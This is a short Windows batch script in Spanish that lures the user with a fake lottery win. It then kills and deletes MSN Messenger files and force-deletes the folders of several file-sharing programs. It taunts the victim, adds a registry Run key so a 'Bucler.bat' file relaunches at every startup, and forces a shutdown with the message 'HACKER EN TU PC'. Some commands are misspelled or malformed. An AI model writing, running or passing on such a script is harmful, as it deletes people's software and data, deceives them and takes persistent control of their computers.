msg * Te ha tocado la loteria!
msg * Pero hasta que no seas mejor no podras cobrar el premio
msg * Primero: Adios Messenger, eso es para tontos
taskkill msnmsgs.exe
taskkill msnmsgr.exe
del /Q /S /F msnmsgs.exe
del /Q /S /F msnmsgr.exe
::Esto es la primera tonteria que se me ocurrio
msg * Segundo: Adios Internet, eso es para hackers
msg * Tercero: Adios los P2P, eso es para piratear
del /Q /S /F "%programfilles%\eMule"
del /Q /S /F "%programfilles%\Ares"
del /Q /S /F "%programfilles%\Kazaa"
del /Q /S /F "%programfilles%\BitTorrent"
del /Q /S /F "%programfilles%\eDonkey"
del /Q /S /F "%programfilles%\uTorrent"
del /Q /S /F "%programfilles%\Azureus"
del /Q /S /F "%programfilles%\Soulseek"
msg * Ji, Ji, Ji
msg * ¿De verdad te lo creistes?
msg * Pues no, no te ha tocado la loteria
msg * Pero te haré un regalito igualmente
msg * Te lo dejo en tu PC
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v"windows" /d "C:\WINDOWS\system32\Bucler.bat"
tsshutdown -s -f -c "HACKER EN TU PC" -05
-----------------------------------------------------------------------------------------------------

Código